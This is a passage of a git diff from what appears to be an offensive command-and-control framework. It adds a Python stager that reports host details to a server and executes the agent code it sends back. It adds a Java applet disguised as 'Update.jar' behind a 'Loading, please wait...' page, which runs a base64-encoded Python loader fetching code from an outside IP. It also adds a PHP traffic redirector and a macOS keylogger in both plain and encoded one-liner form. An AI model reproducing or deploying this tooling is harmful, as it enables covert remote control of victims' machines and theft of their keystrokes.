self._Ke[i // 4][i % 4] = tk[i] + self._Kd[rounds - (i // 4)][i % 4] = tk[i] + + # Key expansion (fips-197 section 5.2) + rconpointer = 0 + t = KC + while t < round_key_count: + + tt = tk[KC - 1] + tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ + (self.S[(tt >> 8) & 0xFF] << 16) ^ + (self.S[ tt & 0xFF] << 8) ^ + self.S[(tt >> 24) & 0xFF] ^ + (self.rcon[rconpointer] << 24)) + rconpointer += 1 + + if KC != 8: + for i in xrange(1, KC): + tk[i] ^= tk[i - 1] + + # Key expansion for 256-bit keys is "slightly different" (fips-197) + else: + for i in xrange(1, KC // 2): + tk[i] ^= tk[i - 1] + tt = tk[KC // 2 - 1] + + tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ + (self.S[(tt >> 8) & 0xFF] << 8) ^ + (self.S[(tt >> 16) & 0xFF] << 16) ^ + (self.S[(tt >> 24) & 0xFF] << 24)) + + for i in xrange(KC // 2 + 1, KC): + tk[i] ^= tk[i - 1] + + # Copy values into round key arrays + j = 0 + while j < KC and t < round_key_count: + self._Ke[t // 4][t % 4] = tk[j] + self._Kd[rounds - (t // 4)][t % 4] = tk[j] + j += 1 + t += 1 + + # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) + for r in xrange(1, rounds): + for j in xrange(0, 4): + tt = self._Kd[r][j] + self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ + self.U2[(tt >> 16) & 0xFF] ^ + self.U3[(tt >> 8) & 0xFF] ^ + self.U4[ tt & 0xFF]) + + def encrypt(self, plaintext): + 'Encrypt a block of plain text using the AES block cipher.' + + if len(plaintext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Ke) - 1 + (s1, s2, s3) = [1, 2, 3] + a = [0, 0, 0, 0] + + # Convert plaintext to (ints ^ key) + t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ + self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T4[ t[(i + s3) % 4] & 0xFF] ^ + self._Ke[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Ke[rounds][i] + result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + def decrypt(self, ciphertext): + 'Decrypt a block of cipher text using the AES block cipher.' + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + +def decrypt(self, ciphertext): + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + +class AESBlockModeOfOperation(object): + '''Super-class for AES modes of operation that require blocks.''' + def __init__(self, key): + self._aes = AES(key) + + def decrypt(self, ciphertext): + raise Exception('not implemented') + + def encrypt(self, plaintext): + raise Exception('not implemented') + + +class AESModeOfOperationCBC(AESBlockModeOfOperation): + + name = "Cipher-Block Chaining (CBC)" + + def __init__(self, key, iv = None): + if iv is None: + self._last_cipherblock = [ 0 ] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._last_cipherblock = _string_to_bytes(iv) + + AESBlockModeOfOperation.__init__(self, key) + + def encrypt(self, plaintext): + if len(plaintext) != 16: + raise ValueError('plaintext block must be 16 bytes') + + plaintext = _string_to_bytes(plaintext) + precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ] + self._last_cipherblock = self._aes.encrypt(precipherblock) + + return _bytes_to_string(self._last_cipherblock) + + + def decrypt(self, ciphertext): + if len(ciphertext) != 16: + raise ValueError('ciphertext block must be 16 bytes') + + cipherblock = _string_to_bytes(ciphertext) + plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ] + self._last_cipherblock = cipherblock + + return _bytes_to_string(plaintext) + + +def CBCenc(aesObj, plaintext, base64=False): + + # break the blocks in 16 byte chunks, padding the last chunk if necessary + blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)] + blocks[-1] = append_PKCS7_padding(blocks[-1]) + + ciphertext = "" + for block in blocks: + ciphertext += aesObj.encrypt(block) + + return ciphertext + + +def CBCdec(aesObj, ciphertext, base64=False): + + # break the blocks in 16 byte chunks, padding the last chunk if necessary + blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)] + + plaintext = "" + + for x in xrange(0, len(blocks)-1): + plaintext += aesObj.decrypt(blocks[x]) + + plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1])) + + return plaintext + + +def getIV(): + # return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in xrange(16)) + return ''.join(chr(random.randint(0,255)) for _ in range(16)) + + +def aes_encrypt(key, data): + """ + Generate a random IV and new AES cipher object with the given + key, and return IV + encryptedData. + """ + IV = getIV() + aes = AESModeOfOperationCBC(key, iv=IV) + return IV + CBCenc(aes, data) + + +def aes_encrypt_then_hmac(key, data): + """ + Encrypt the data then calculate HMAC over the ciphertext. + """ + data = aes_encrypt(key, data) + mac = hmac.new(str(key), data, hashlib.sha1).digest() + return data + mac + + +def aes_decrypt(key, data): + """ + Generate an AES cipher object, pull out the IV from the data + and return the unencrypted data. + """ + IV = data[0:16] + aes = AESModeOfOperationCBC(key, iv=IV) + return CBCdec(aes, data[16:]) + + +def verify_hmac(key, data): + """ + Verify the HMAC supplied in the data with the given key. + """ + if len(data) > 20: + mac = data[-20:] + data = data[:-20] + expected = hmac.new(str(key), data, hashlib.sha1).digest() + # Double HMAC to prevent timing attacks. hmac.compare_digest() is + # preferable, but only available since Python 2.7.7. + return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest() + + return False + + +def aes_decrypt_and_verify(key, data): + """ + Decrypt the data, but only if it has a valid MAC. + """ + if len(data) > 32 and verify_hmac(key, data): + return aes_decrypt(key, data[:-20]) + + raise Exception("Invalid ciphertext received.") + + +def post_message(uri, data): + global headers + return (urllib2.urlopen(urllib2.Request(uri, data, headers))).read() + + +def get_sysinfo(): + + # listener | username | high_integrity | hostname | internal_ip | os_details | process_id | py_version + username = os.getlogin() + + uid = os.popen('id -u').read().strip() + highIntegrity = "True" if (uid == "0") else False + + osDetails = os.uname() + hostname = osDetails[1] + + x = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + x.connect(("10.0.0.0",80)) + internalIP = x.getsockname()[0] + x.close() + + osDetails = ",".join(osDetails) + processID = os.getpid() + pyVersion = '.'.join([str(x) for x in sys.version_info]) + + return "%s|%s|%s|%s|%s|%s|%s|%s" %(server, username, highIntegrity, hostname, internalIP, osDetails, processID, pyVersion) + + +# generate a randomized sessionID +sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(16)) + +# server configuration information +key = "REPLACE_STAGING_KEY" +server = 'REPLACE_SERVER' +profile = 'REPLACE_PROFILE' + +parts = profile.split("|") +taskURIs = parts[0].split(",") +userAgent = parts[1] +headersRaw = parts[2:] + +# global header dictionary +# sessionID is set by stager.py +headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)} + +# parse the headers into the global header dictionary +for headerRaw in headersRaw: + try: + headerKey = headerRaw.split(":")[0] + headerValue = headerRaw.split(":")[1] + + if headerKey.lower() == "cookie": + headers['Cookie'] = "%s;%s" %(headers['Cookie'], headerValue) + else: + headers[headerKey] = headerValue + except: + pass + +# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server +clientPub = DiffieHellman() +hmacData = aes_encrypt_then_hmac(key, str(clientPub.publicKey)) + +try: + # encode the hop information in a parameter + hopInfo = base64.b64encode(server + '&index.jsp') + response = post_message(server + "?" + hopInfo, hmacData) +except Exception as e: + exit() + + +# decrypt the server's public key and the server nonce +packet = aes_decrypt_and_verify(key, response) +nonce = packet[0:16] +serverPub = int(packet[16:]) + +# calculate the shared secret +clientPub.genKey(serverPub) +key = clientPub.key + +# encode the hop information again +postURI = server + '&index.php' +hopInfo = base64.b64encode(server + '&index.php') + +# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) +hmacData = aes_encrypt_then_hmac(clientPub.key, str(int(nonce)+1) + "|" + get_sysinfo()) +response = post_message(server + "?" + hopInfo, hmacData) + +# step 6 -> server sends HMAC(AES) +agent = aes_decrypt_and_verify(key, response) +exec(agent) diff --git a/data/misc/applet/Java.java b/data/misc/applet/Java.java new file mode 100644 index 0000000..d1a8e53 --- /dev/null +++ b/data/misc/applet/Java.java @@ -0,0 +1,48 @@ +import java.applet.*; +import java.awt.*; +import java.io.*; +import java.util.*; + +public class Java extends Applet { + + private Object initialized = null; + public Object isInitialized() + { + return initialized; + } + + public void init() + { + + try { + + PrintWriter writer = new PrintWriter("/tmp/status2", "UTF-8"); + writer.println("starting"); + writer.close(); + + String os = System.getProperty("os.name").toLowerCase(); + + if (os.indexOf( "win" ) >= 0) + { + // skip Windows + } + else { + // Linux/OSX + + // PrintWriter writer = new PrintWriter("/tmp/status", "UTF-8"); + // writer.println("starting"); + // writer.close(); + + Process f = Runtime.getRuntime().exec("python -c \"import sys,base64;exec(base64.b64decode('R3BmZHhiUUQ9J2ZMZk1ZRScKaW1wb3J0IHN5cywgdXJsbGliMjtvPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bc3lzLnZlcnNpb25faW5mb1swXV0sZnJvbWxpc3Q9WydidWlsZF9vcGVuZXInXSkuYnVpbGRfb3BlbmVyKCk7VUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztvLmFkZGhlYWRlcnM9WygnVXNlci1BZ2VudCcsVUEpXTthPW8ub3BlbignaHR0cDovLzE3Mi4zMS45OS4yMTE6ODA4MC9pbmRleC5hc3AnKS5yZWFkKCk7a2V5PScyYzEwM2YyYzRlZDFlNTljMGI0ZTJlMDE4MjE3NzBmYSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSk='));\""); + + f.waitFor(); + initialized = this; + } + + } + catch (Exception exception) + { + exception.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/data/misc/applet/MANIFEST.MF b/data/misc/applet/MANIFEST.MF new file mode 100644 index 0000000..2756ba5 --- /dev/null +++ b/data/misc/applet/MANIFEST.MF @@ -0,0 +1,4 @@ +Permissions: all-permissions +Codebase: * +Application-Name: Java +Name: Java.class diff --git a/data/misc/applet/applet.html b/data/misc/applet/applet.html new file mode 100644 index 0000000..a9d730d --- /dev/null +++ b/data/misc/applet/applet.html @@ -0,0 +1,7 @@ + + +

Loading, please wait...

+ + + + diff --git a/data/misc/applet/build.sh b/data/misc/applet/build.sh new file mode 100755 index 0000000..227a7b0 --- /dev/null +++ b/data/misc/applet/build.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +rm -rf ./host/ +mkdir host +javac Java.java +jar cvf Update.jar Java.class +jar ufm Update.jar manifest.mf +mv Java.class ./host/ +mv Update.jar ./host/ +cp applet.html ./host/ diff --git a/data/misc/applet/host/Java.class b/data/misc/applet/host/Java.class new file mode 100644 index 0000000..9a16b6a Binary files /dev/null and b/data/misc/applet/host/Java.class differ diff --git a/data/misc/applet/host/Update.jar b/data/misc/applet/host/Update.jar new file mode 100644 index 0000000..6f32a4a Binary files /dev/null and b/data/misc/applet/host/Update.jar differ diff --git a/data/misc/applet/host/applet.html b/data/misc/applet/host/applet.html new file mode 100644 index 0000000..a9d730d --- /dev/null +++ b/data/misc/applet/host/applet.html @@ -0,0 +1,7 @@ + + +

Loading, please wait...

+ + + + diff --git a/data/misc/hop.php b/data/misc/hop.php new file mode 100644 index 0000000..ec3c095 --- /dev/null +++ b/data/misc/hop.php @@ -0,0 +1,97 @@ + /admin/get.php,/news.asp,/login/process.jsp +$resources = explode("," , "REPLACE_RESOURCES"); +$resource = $resources[mt_rand(0, count($resources) - 1)]; + + +function do_get_request($url, $optional_headers = null) +{ + $aContext = array( + 'http' => array( + 'method' => 'GET' + ), + ); + if ($optional_headers !== null) { + $aContext['http']['header'] = $optional_headers; + } + $cxContext = stream_context_create($aContext); + return file_get_contents($url, False, $cxContext); +} + +function do_post_request($url, $data, $optional_headers = null) +{ + $params = array('http' => array( + 'method' => 'POST', + 'content' => $data + )); + if ($optional_headers !== null) { + $params['http']['header'] = $optional_headers; + } + $ctx = stream_context_create($params); + $fp = @fopen($url, 'rb', false, $ctx); + if (!$fp) { + return ''; + } + $response = @stream_get_contents($fp); + if ($response === false) { + return ''; + } + return $response; +} + +if ($_SERVER['REQUEST_METHOD'] === "GET"){ + $parts = explode("?", $_SERVER['REQUEST_URI']); + if (count($parts) > 1){ + + $parts = explode("&", base64_decode($parts[1])); + if (count($parts) == 2){ + // in case where're doing stage 0 requests for stager.ps1 + $uri = $server.$parts[1]."?".base64_encode($parts[0]); + echo do_get_request($uri); + } + } + else { + if(isset($_COOKIE['SESSIONID'])) { + echo do_get_request(rtrim($server, "/").$resource, "Cookie: SESSIONID=".$_COOKIE['SESSIONID']); + } + else{ + echo do_get_request(rtrim($server, "/").$resource); + } + } +} + +else{ + $parts = explode("?", $_SERVER['REQUEST_URI']); + if (count($parts) > 1){ + + $parts = explode("&", base64_decode($parts[1])); + if (count($parts) == 2){ + // in case we're continuing stage negotiation + $uri = $server.$parts[1]."?".base64_encode($parts[0]); + $postdata = file_get_contents("php://input"); + + if(isset($_COOKIE['SESSIONID'])) { + echo do_post_request($uri, $postdata, "Cookie: SESSIONID=".$_COOKIE['SESSIONID']); + } + else{ + echo do_post_request($uri, $postdata); + } + } + } + else{ + $postdata = file_get_contents("php://input"); + if(isset($_COOKIE['SESSIONID'])) { + echo do_post_request(rtrim($server, "/").$resource, $postdata, "Cookie: SESSIONID=".$_COOKIE['SESSIONID']); + } + else{ + echo do_post_request(rtrim($server, "/").$resource, $postdata); + } + } +} +?> \ No newline at end of file diff --git a/data/misc/keylogger.b64 b/data/misc/keylogger.b64 new file mode 100644 index 0000000..6c9fbab --- /dev/null +++ b/data/misc/keylogger.b64 @@ -0,0 +1 @@ +ruby -W0 -e "require 'base64';eval(Base64.decode64('cmVxdWlyZSAndGhyZWFkJwpyZXF1aXJlICdkbCcKcmVxdWlyZSAnZGwvaW1wb3J0JwpJbXBvcnRlciA9IGlmIGRlZmluZWQ/KERMOjpJbXBvcnRlcikgdGhlbiBETDo6SW1wb3J0ZXIgZWxzZSBETDo6SW1wb3J0YWJsZSBlbmQKZGVmIHJ1YnlfMV85X29yX2hpZ2hlcj8KICBSVUJZX1ZFUlNJT04udG9fZiA+PSAxLjkKZW5kCmRlZiBtYWxsb2Moc2l6ZSkKICBpZiBydWJ5XzFfOV9vcl9oaWdoZXI/CiAgICBETDo6Q1B0ci5tYWxsb2Moc2l6ZSkKICBlbHNlCiAgICBETDo6bWFsbG9jKHNpemUpCiAgZW5kCmVuZAppZiBub3QgcnVieV8xXzlfb3JfaGlnaGVyPwogIG1vZHVsZSBETAogICAgbW9kdWxlIEltcG9ydGFibGUKICAgICAgZGVmIG1ldGhvZF9taXNzaW5nKG1ldGgsICphcmdzLCAmYmxvY2spCiAgICAgICAgc3RyID0gbWV0aC50b19zCiAgICAgICAgbG93ZXIgPSBzdHJbMCwxXS5kb3duY2FzZSArIHN0clsxLi4tMV0KICAgICAgICBpZiBzZWxmLnJlc3BvbmRfdG8/IGxvd2VyCiAgICAgICAgICBzZWxmLnNlbmQgbG93ZXIsICphcmdzCiAgICAgICAgZWxzZQogICAgICAgICAgc3VwZXIKICAgICAgICBlbmQKICAgICAgZW5kCiAgICBlbmQKICBlbmQKZW5kClNNX0tDSFJfQ0FDSEUgPSAzOApTTV9DVVJSRU5UX1NDUklQVCA9IC0yCk1BWF9BUFBfTkFNRSA9IDgwCm1vZHVsZSBDYXJib24KICBleHRlbmQgSW1wb3J0ZXIKICBkbGxvYWQgJy9TeXN0ZW0vTGlicmFyeS9GcmFtZXdvcmtzL0NhcmJvbi5mcmFtZXdvcmsvQ2FyYm9uJwogIGV4dGVybiAndW5zaWduZWQgbG9uZyBDb3B5UHJvY2Vzc05hbWUoY29uc3QgUHJvY2Vzc1NlcmlhbE51bWJlciAqLCB2b2lkICopJwogIGV4dGVybiAndm9pZCBHZXRGcm9udFByb2Nlc3MoUHJvY2Vzc1NlcmlhbE51bWJlciAqKScKICBleHRlcm4gJ3ZvaWQgR2V0S2V5cyh2b2lkICopJwogIGV4dGVybiAndW5zaWduZWQgY2hhciAqR2V0U2NyaXB0VmFyaWFibGUoaW50LCBpbnQpJwogIGV4dGVybiAndW5zaWduZWQgY2hhciBLZXlUcmFuc2xhdGUodm9pZCAqLCBpbnQsIHZvaWQgKiknCiAgZXh0ZXJuICd1bnNpZ25lZCBjaGFyIENGU3RyaW5nR2V0Q1N0cmluZyh2b2lkICosIHZvaWQgKiwgaW50LCBpbnQpJwogIGV4dGVybiAnaW50IENGU3RyaW5nR2V0TGVuZ3RoKHZvaWQgKiknCmVuZApwc24gPSBtYWxsb2MoMTYpCm5hbWUgPSBtYWxsb2MoMTYpCm5hbWVfY3N0ciA9IG1hbGxvYyhNQVhfQVBQX05BTUUpCmtleW1hcCA9IG1hbGxvYygxNikKc3RhdGUgPSBtYWxsb2MoOCkKaXR2X3N0YXJ0ID0gVGltZS5ub3cudG9faQpwcmV2X2Rvd24gPSBIYXNoLm5ldyhmYWxzZSkKbGFzdFdpbmRvdyA9ICIiCndoaWxlICh0cnVlKSBkbwogIENhcmJvbi5HZXRGcm9udFByb2Nlc3MocHNuLnJlZikKICBDYXJib24uQ29weVByb2Nlc3NOYW1lKHBzbi5yZWYsIG5hbWUucmVmKQogIENhcmJvbi5HZXRLZXlzKGtleW1hcCkKICBzdHJfbGVuID0gQ2FyYm9uLkNGU3RyaW5nR2V0TGVuZ3RoKG5hbWUpCiAgY29waWVkID0gQ2FyYm9uLkNGU3RyaW5nR2V0Q1N0cmluZyhuYW1lLCBuYW1lX2NzdHIsIE1BWF9BUFBfTkFNRSwgMHgwODAwMDEwMCkgPiAwCiAgYXBwX25hbWUgPSBpZiBjb3BpZWQgdGhlbiBuYW1lX2NzdHIudG9fcyBlbHNlICdVbmtub3duJyBlbmQKICBieXRlcyA9IGtleW1hcC50b19zdHIKICBjYXBfZmxhZyA9IGZhbHNlCiAgYXNjaWkgPSAwCiAgY3RybGNoYXIgPSAiIgogICgwLi4uMTI4KS5lYWNoIGRvIHxrfAogICAgaWYgKChieXRlc1trPj4zXS5vcmQgPj4gKGsmNykpICYgMSA+IDApCiAgICAgIGlmIG5vdCBwcmV2X2Rvd25ba10KICAgICAgICBjYXNlIGsKICAgICAgICAgIHdoZW4gMzYKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2VudGVyXSIKICAgICAgICAgIHdoZW4gNDgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW3RhYl0iCiAgICAgICAgICB3aGVuIDQ5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIiAiCiAgICAgICAgICB3aGVuIDUxCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltkZWxldGVdIgogICAgICAgICAgd2hlbiA1MwogICAgICAgICAgICBjdHJsY2hhciA9ICJbZXNjXSIKICAgICAgICAgIHdoZW4gNTUKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2NtZF0iCiAgICAgICAgICB3aGVuIDU2CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltzaGlmdF0iCiAgICAgICAgICB3aGVuIDU3CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjYXBzXSIKICAgICAgICAgIHdoZW4gNTgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW29wdGlvbl0iCiAgICAgICAgICB3aGVuIDU5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjdHJsXSIKICAgICAgICAgIHdoZW4gNjMKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2ZuXSIKICAgICAgICAgIGVsc2UKICAgICAgICAgICAgY3RybGNoYXIgPSAiIgogICAgICAgIGVuZAogICAgICAgIGlmIGN0cmxjaGFyID09ICIiIGFuZCBhc2NpaSA9PSAwCiAgICAgICAgICBrY2hyID0gQ2FyYm9uLkdldFNjcmlwdFZhcmlhYmxlKFNNX0tDSFJfQ0FDSEUsIFNNX0NVUlJFTlRfU0NSSVBUKQogICAgICAgICAgY3Vycl9hc2NpaSA9IENhcmJvbi5LZXlUcmFuc2xhdGUoa2Nociwgaywgc3RhdGUpCiAgICAgICAgICBjdXJyX2FzY2lpID0gY3Vycl9hc2NpaSA+PiAxNiBpZiBjdXJyX2FzY2lpIDwgMQogICAgICAgICAgcHJldl9kb3duW2tdID0gdHJ1ZQogICAgICAgICAgaWYgY3Vycl9hc2NpaSA9PSAwCiAgICAgICAgICAgIGNhcF9mbGFnID0gdHJ1ZQogICAgICAgICAgZWxzZQogICAgICAgICAgICBhc2NpaSA9IGN1cnJfYXNjaWkKICAgICAgICAgIGVuZAogICAgICAgIGVsc2lmIGN0cmxjaGFyICE9ICIiCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlCiAgICAgICAgZW5kCiAgICAgIGVuZAogICAgZWxzZQogICAgICBwcmV2X2Rvd25ba10gPSBmYWxzZQogICAgZW5kCiAgZW5kCiAgaWYgYXNjaWkgIT0gMCBvciBjdHJsY2hhciAhPSAiIgogICAgaWYgYXBwX25hbWUgIT0gbGFzdFdpbmRvdwogICAgICBwdXRzICJcblxuWyN7YXBwX25hbWV9XSAtIFsje1RpbWUubm93fV1cbiIKICAgICAgbGFzdFdpbmRvdyA9IGFwcF9uYW1lCiAgICBlbmQKICAgIGlmIGN0cmxjaGFyICE9ICIiCiAgICAgIHByaW50ICIje2N0cmxjaGFyfSIKICAgIGVsc2lmIGFzY2lpID4gMzIgYW5kIGFzY2lpIDwgMTI3CiAgICAgIGMgPSBpZiBjYXBfZmxhZyB0aGVuIGFzY2lpLmNoci51cGNhc2UgZWxzZSBhc2NpaS5jaHIgZW5kCiAgICAgIHByaW50ICIje2N9IgogICAgZWxzZQogICAgICBwcmludCAiWyN7YXNjaWl9XSIKICAgIGVuZAogICAgJHN0ZG91dC5mbHVzaAogIGVuZAogIEtlcm5lbC5zbGVlcCgwLjAxKQplbmQK'))" > keylog.txt \ No newline at end of file diff --git a/data/misc/keylogger.rb b/data/misc/keylogger.rb new file mode 100644 index 0000000..41f0728 --- /dev/null +++ b/data/misc/keylogger.rb @@ -0,0 +1,156 @@ +#!/usr/bin/ruby + +# From https://github.com/gojhonny/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb +# original author: joev +# license: MSF_LICENSE +# adaptation by: @harmj0y + +# to launch with a one-liner, # base64 -w 0 keylogger.rb > keylogger.b64 and +# => ruby -W0 -e "require 'base64';eval(Base64.decode64('BASE64_CODE'))" > keylog.txt + +require 'thread' +require 'dl' +require 'dl/import' + +#### Patches to DL (for compatibility between 1.8->1.9) +Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end +def ruby_1_9_or_higher? + RUBY_VERSION.to_f >= 1.9 +end +def malloc(size) + if ruby_1_9_or_higher? + DL::CPtr.malloc(size) + else + DL::malloc(size) + end +end +# the old Ruby Importer defaults methods to downcase every import +# This is annoying, so we'll patch with method_missing +if not ruby_1_9_or_higher? + module DL + module Importable + def method_missing(meth, *args, &block) + str = meth.to_s + lower = str[0,1].downcase + str[1..-1] + if self.respond_to? lower + self.send lower, *args + else + super + end + end + end + end +end + +#### External dynamically linked code +SM_KCHR_CACHE = 38 +SM_CURRENT_SCRIPT = -2 +MAX_APP_NAME = 80 +module Carbon + extend Importer + dlload '/System/Library/Frameworks/Carbon.framework/Carbon' + extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)' + extern 'void GetFrontProcess(ProcessSerialNumber *)' + extern 'void GetKeys(void *)' + extern 'unsigned char *GetScriptVariable(int, int)' + extern 'unsigned char KeyTranslate(void *, int, void *)' + extern 'unsigned char CFStringGetCString(void *, void *, int, int)' + extern 'int CFStringGetLength(void *)' +end +psn = malloc(16) +name = malloc(16) +name_cstr = malloc(MAX_APP_NAME) +keymap = malloc(16) +state = malloc(8) + +#### Actual Keylogger code +itv_start = Time.now.to_i +prev_down = Hash.new(false) +lastWindow = "" + +while (true) do + Carbon.GetFrontProcess(psn.ref) + Carbon.CopyProcessName(psn.ref, name.ref) + Carbon.GetKeys(keymap) + str_len = Carbon.CFStringGetLength(name) + copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0 + app_name = if copied then name_cstr.to_s else 'Unknown' end + + bytes = keymap.to_str + + cap_flag = false + ascii = 0 + ctrlchar = "" + (0...128).each do |k| + # pulled from apple's developer docs for Carbon#KeyMap/GetKeys + # puts (bytes[k >> 3].ord & (1 <<(k&7))) + if ((bytes[k>>3].ord >> (k&7)) & 1 > 0) + if not prev_down[k] + case k + when 36 + ctrlchar = "[enter]" + when 48 + ctrlchar = "[tab]" + when 49 + ctrlchar = " " + when 51 + ctrlchar = "[delete]" + when 53 + ctrlchar = "[esc]" + when 55 + ctrlchar = "[cmd]" + when 56 + ctrlchar = "[shift]" + when 57 + ctrlchar = "[caps]" + when 58 + ctrlchar = "[option]" + when 59 + ctrlchar = "[ctrl]" + when 63 + ctrlchar = "[fn]" + else + ctrlchar = "" + end + + if ctrlchar == "" and ascii == 0 + kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT) + curr_ascii = Carbon.KeyTranslate(kchr, k, state) + curr_ascii = curr_ascii >> 16 if curr_ascii < 1 + prev_down[k] = true + if curr_ascii == 0 + cap_flag = true + else + ascii = curr_ascii + end + elsif ctrlchar != "" + prev_down[k] = true + end + + end + else + prev_down[k] = false + end + end + + if ascii != 0 or ctrlchar != "" + + # only display + if app_name != lastWindow + puts "\n\n[#{app_name}] - [#{Time.now}]\n" + lastWindow = app_name + end + + if ctrlchar != "" + print "#{ctrlchar}" + elsif ascii > 32 and ascii < 127 + c = if cap_flag then ascii.chr.upcase else ascii.chr end + print "#{c}" + else + print "[#{ascii}]" + end + $stdout.flush + + end + Kernel.sleep(0.01) +end diff --git a/data/profiles/comfoo.txt b/data/profiles/comfoo.txt new file mode 100644 index 0000000..78eecbb --- /dev/null +++ b/data/profiles/comfoo.txt @@ -0,0 +1,5 @@ +# Basic comfoo profile +# 